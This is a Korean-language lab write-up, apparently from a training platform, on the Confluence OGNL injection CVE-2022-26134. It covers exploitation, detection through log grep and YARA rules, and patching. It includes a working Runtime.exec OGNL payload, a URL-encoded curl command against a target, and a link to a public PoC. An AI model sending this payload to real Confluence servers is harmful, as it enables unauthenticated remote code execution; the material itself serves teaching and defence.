
Confluence 사전 인증 원격 코드 실행 via OGNL Injection (CVE-2022-26134)
Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)
2022년 5월 30일, Volexity라는 조직이 Atlassian의 Confluence Server 및 Data Center 에디션(https://www.atlassian.com/software/confluence) 내에서 인증되지 않은 RCE 취약점(NIST 기준 9.8점)을 식별했습니다.
Confluence는 팀을 위한 협업 문서 및 프로젝트 관리 프레임워크입니다. Confluence는 구성원들에게 중앙 집중식 작업 공간을 제공하여 프로젝트 상태를 추적하는 데 도움을 줍니다.
다음 Confluence 버전은 이 CVE에 취약합니다:
여기(https://nvd.nist.gov/vuln/detail/CVE-2022-26134)에서 CVE-2022-26134에 대한 NIST 항목을 볼 수 있습니다.
이 CVE는 Java용 OGNL(Object-Graph Navigation Language) 표현 언어 내의 취약점을 이용합니다. OGNL은 Java 객체의 속성을 가져오고 설정하는 등 다양한 용도로 사용됩니다.
예를 들어, OGNL은 텍스트 상자와 같은 프론트엔드 요소를 백엔드 객체에 바인딩하는 데 사용되며 Confluence와 같은 Java 기반 웹 애플리케이션에서 사용될 수 있습니다. 아래 스크린샷에서 OGNL이 어떻게 사용되는지 확인할 수 있습니다. 웹 양식에 값을 입력하면 이 값들이 애플리케이션 내의 객체에 저장됩니다.
악용
OGNL이 수정될 수 있다는 사실을 악용할 수 있습니다. 익스플로잇을 테스트하고 확인하기 위한 페이로드를 생성할 수 있습니다.
OGNL 내에서 이 취약점을 악용하려면 HTTP GET 요청을 보내 URI에 페이로드를 배치해야 합니다. 예를 들어, "${@java.lang.Runtime@getRuntime().exec("touch /tmp/thm/")}/"와 같이 서버에 파일을 생성하는 명령을 Java 런타임에 실행하도록 지시할 수 있습니다.
이는 URL 인코딩이 필요합니다. 이 웹사이트를 사용하여 페이로드를 URL 인코딩할 수 있습니다(curl 페이로드는 $2F가 아닌 후행 /로 끝나야 함).
Command: user@host~ curl -v http://<target_ip>:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/thm%22%29%7D/
이제 위 명령에서 "ls /tmp" 명령을 실행하여 위의 명령이 성공적으로 실행되었는지 확인합니다.
작동하는 PoC 익스플로잇이 몇 가지 있습니다. Samy Younsi (Mwqda)의 Python으로 작성되어 GitHub(https://github.com/h3v0x/CVE-2022-26134)에 호스팅된 PoC를 시연하겠습니다.
탐지
로그 파일
Confluence는 Apache Tomcat 서버로 로깅이 /opt/atlassian/confluence/logs에 위치합니다. grep과 같은 명령을 사용하여 Java 런타임을 통해 명령을 실행하는 페이로드의 HTTP GET 요청을 검색할 수 있습니다. 예를 들어:
grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22" in catalina.out
YARA Confluence를 실행하는 서버에 Yara가 설치되어 있다면, 취약점을 발견한 Volexity가 사용할 수 있는 Yara 규칙을 만들었습니다. 이 규칙은 이 저장소와 다음 링크(https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar)에서 제공됩니다.
패치 Atlassian은 이 CVE의 영향을 받는 제품에 대한 권고를 발표했습니다. 여기(https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html)에서 읽을 수 있습니다. 문제를 해결하려면 Confluence 버전을 업그레이드해야 합니다. 발표 시점에 제안된 목록은 다음과 같습니다:
기억하세요, OGNL은 Java 기반 웹 애플리케이션을 위한 표현 언어이므로 이 취약점은 Confluence가 사용하는 동일한 클래스를 실행하는 다른 웹 앱에도 적용됩니다!
추가 읽을거리: